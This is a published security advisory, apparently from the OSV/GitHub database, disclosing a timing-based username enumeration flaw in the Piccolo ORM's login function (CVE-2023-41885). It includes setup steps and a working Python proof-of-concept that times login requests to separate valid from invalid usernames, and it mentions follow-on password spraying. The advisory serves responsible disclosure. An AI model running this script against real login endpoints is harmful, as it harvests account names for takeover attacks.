{"id":"GHSA-h7cm-mrvq-wcfr","summary":"Piccolo's current `BaseUser.login` implementation is vulnerable to time based user enumeration","details":"### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThe current implementation of `BaseUser.login` leaks enough information to a malicious user such that they would be able to successfully generate a list of valid users on the platform. As Piccolo on it's own does not also enforce strong passwords (see [here](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#implement-proper-password-strength-controls)), these lists of valid accounts are likely to be used in a password spray attack with the outcome being attempted takeover of user accounts on the platform.\n\nThe impact of this vulnerability is minor as it requires chaining with other attack vectors in order to gain more then simply a list of valid users on the underlying platform.\nThe likelihood of this vulnerability is possible as it requires minimal skills to pull off especially given the underlying login functionality for Piccolo based sites is open source.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nThis vulnerability relates to [this](https://github.com/piccolo-orm/piccolo/blob/master/piccolo/apps/user/tables.py#L191-L237) code. Specifically the fact that responses are not returned in constant time, but rather are based off the internal state.\n\nFor example, if a user does not exist then `None` is returned immediately instead of encountering a time expensive hash comparison (Line 225). This discrepancy allows a malicious user to time requests made in order to generate a list of usernames which are valid on the underlying platform for usage in further attacks.\n\nIf your curious for some more information regarding this attack avenue, I wrote a blog post awhile back with a similar chain to this with some other types of analysis. It lives [here](https://skelmis.co.nz/posts/tbue/). \n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Piccolo Setup\n1. In a fresh environment `pip install 'piccolo[all]'` and `piccolo asgi new`\n2. For simplified testing purposes, in `piccolo_conf.py` modify Piccolo to use SQLite:\n```python\nfrom piccolo.engine.sqlite import SQLiteEngine\nDB = SQLiteEngine()\n```\n3. In the same file, add the required apps for session authentication. The file should look like the following:\n```python\nfrom piccolo.engine.sqlite import SQLiteEngine\nfrom piccolo.conf.apps import AppRegistry\n\n\nDB = SQLiteEngine()\n\nAPP_REGISTRY = AppRegistry(\n    apps=[\n        \"home.piccolo_app\",\n        \"piccolo_admin.piccolo_app\",\n        \"piccolo_api.session_auth.piccolo_app\",\n        \"piccolo.apps.user.piccolo_app\",\n    ]\n)\n```\n4. Run the following migrations:\n```text\npiccolo migrations forwards user\npiccolo migrations forwards session_auth\n```\n5. Within `app.py`, mount `session_login` at the `/login` path as follows:\n```python\nfrom piccolo_api.session_auth.endpoints import session_login\napp.mount(\"/login\", session_login())\n```\n6. Create a new user using `piccolo user create`, making a note of the username and password for later steps.\n\n#### Exploitation\nThe following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report.\n\n```python\nimport asyncio\nimport time\nfrom collections import defaultdict\n\nimport httpx\n\nnumber_of_attempts = 50\n# Set this to the username from step 6.\nvalid_username = \"skelmis\"\ninvalid_username = \"invalid\"\ndata = defaultdict(lambda: [])\n# Ensure this points to your current enviroment\nlocal_base_url = \"http://127.0.0.1:8000\"\n# Set this to the password from step 6.\nvalid_password = \"disobey-blunt-kindly-postbox-tarantula\"\ninvalid_password = \"cabana-polar-secrecy-neurology-pacific\"\n\n\nasync def make_request(username, password, session: httpx.AsyncClient):\n    start_time = time.time()\n    resp = await session.post(\n        f\"{local_base_url}/login\",\n        json={\"username\": username, \"password\": password},\n        follow_redirects=True,\n    )\n    end_time = time.time()\n    if username == valid_username and password == valid_password:\n        # Just sanity check expected passes are passing\n        assert resp.status_code == 200\n\n    resultant_time = end_time - start_time\n    data[f\"{username}|{password}\"].append(resultant_time)\n\n\nasync def main():\n    async with httpx.AsyncClient() as client:\n        # This is the baseline correct request\n        for _ in range(number_of_attempts):\n            await make_request(valid_username, valid_password, client)\n            await asyncio.sleep(0.1)\n\n        # This is for a valid user but invalid password\n        for _ in range(number_of_attempts):\n            await make_request(valid_username, invalid_password, client)\n            await asyncio.sleep(0.1)\n\n        # This is for an invalid user and password\n        for _ in range(number_of_attempts):\n            await make_request(invalid_username, invalid_password, client)\n            await asyncio.sleep(0.1)\n\n        r_1 = data[f\"{valid_username}|{valid_password}\"]\n        r_2 = data[f\"{valid_username}|{invalid_password}\"]\n        r_3 = data[f\"{invalid_username}|{invalid_password}\"]\n\n        r_1_sum = sum(r_1) / len(r_1)\n        r_2_sum = sum(r_2) / len(r_2)\n        r_3_sum = sum(r_3) / len(r_3)\n\n        print(\n            f\"Average time to response as a valid user with a valid password: {r_1_sum}\"\n        )\n        print(\n            f\"Average time to response as a valid user with an invalid password: {r_2_sum}\"\n        )\n        print(\n            f\"Average time to response as an invalid user with an invalid password: {r_3_sum}\"\n        )\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nN.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination\n\n\n#### Analysis\n\nThe following is the output from the PoC against `pip install piccolo`\n![Screenshot from 2023-09-08 18-36-45](https://user-images.githubusercontent.com/47520067/266522913-b8a0f499-e38b-47fd-a97d-292900320a01.png)\n\nThe following is the output from the PoC against `pip install git+https://github.com/piccolo-orm/piccolo.git`.\n![Screenshot from 2023-09-08 17-51-16](https://user-images.githubusercontent.com/47520067/266514350-82384ce6-c24f-4b89-8516-ec08282053e1.png)\n\nI have included the results from both versions to highlight that this issue is not as a result of [this](https://github.com/piccolo-orm/piccolo/pull/881) pull request but as a result of the underlying logic in usage.\n\nBoth of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a [password spray attack](https://owasp.org/www-community/attacks/Password_Spraying_Attack) using common passwords in order to takeover user accounts on the platform.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis is an information disclosure vulnerability. \nIt would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.","aliases":["CVE-2023-41885","PYSEC-2023-173"],"modified":"2024-02-16T08:10:51.695441Z","published":"2023-09-12T13:50:23Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2023-09-12T13:50:23Z","nvd_published_at":"2023-09-12T21:15:08Z","cwe_ids":["CWE-203","CWE-204"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo/security/advisories/GHSA-h7cm-mrvq-wcfr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-41885"},{"type":"WEB","url":"https://github.com/piccolo-orm/piccolo/commit/edcfe3568382922ba3e3b65896e6e7272f972261"},{"type":"PACKAGE","url":"https://github.com/piccolo-orm/piccolo"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/piccolo/PYSEC-2023-173.yaml"}],"affected":[{"package":{"name":"piccolo","ecosystem":"PyPI","purl":"pkg:pypi/piccolo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.121.0"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.100.0","0.101.0","0.102.0","0.103.0","0.104.0","0.105.0","0.106.0","0.107.0","0.108.0","0.109.0","0.11.0","0.11.1","0.11.2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.110.0","0.111.0","0.111.1","0.112.0","0.112.1","0.113.0","0.114.0","0.115.0","0.116.0","0.117.0","0.118.0","0.119.0","0.12.0","0.12.1","0.12.2","0.12.3","0.12.4","0.12.5","0.12.6","0.120.0","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.14.0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.13","0.14.2","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.16.5","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.17.5","0.18.0","0.18.1","0.18.2","0.18.3","0.18.4","0.19.0","0.19.1","0.2.0","0.20.0","0.21.0","0.21.1","0.21.2","0.22.0","0.23.0","0.24.0","0.24.1","0.25.0","0.26.0","0.27.0","0.28.0","0.29.0","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.30.0","0.31.0","0.32.0","0.33.0","0.33.1","0.34.0","0.35.0","0.36.0","0.37.0","0.38.0","0.38.1","0.38.2","0.39.0","0.4.0","0.4.1","0.40.0","0.40.1","0.41.0","0.41.1","0.42.0","0.43.0","0.44.0","0.44.1","0.45.0","0.45.1","0.46.0","0.47.0","0.48.0","0.49.0","0.5.0","0.5.1","0.5.2","0.50.0","0.51.0","0.51.1","0.52.0","0.53.0","0.54.0","0.55.0","0.56.0","0.57.0","0.58.0","0.59.0","0.6.0","0.6.1","0.60.0","0.60.1","0.60.2","0.61.0","0.61.1","0.61.2","0.62.0","0.62.1","0.62.2","0.62.3","0.63.0","0.63.1","0.64.0","0.65.0","0.65.1","0.66.0","0.66.1","0.67.0","0.68.0","0.69.0","0.69.1","0.69.2","0.69.3","0.69.4","0.69.5","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.70.0","0.70.1","0.71.0","0.71.1","0.72.0","0.73.0","0.74.0","0.74.1","0.74.2","0.74.3","0.74.4","0.75.0","0.76.0","0.76.1","0.77.0","0.78.0","0.79.0","0.8.0","0.8.1","0.8.2","0.8.3","0.80.0","0.80.1","0.80.2","0.81.0","0.82.0","0.83.0","0.84.0","0.85.0","0.85.1","0.86.0","0.87.0","0.88.0","0.89.0","0.9.0","0.9.1","0.9.2","0.9.3","0.90.0","0.91.0","0.92.0","0.93.0","0.94.0","0.95.0","0.96.0","0.97.0","0.98.0","0.99.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/09/GHSA-h7cm-mrvq-wcfr/GHSA-h7cm-mrvq-wcfr.json","last_known_affected_version_range":"\u003c= 0.120.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}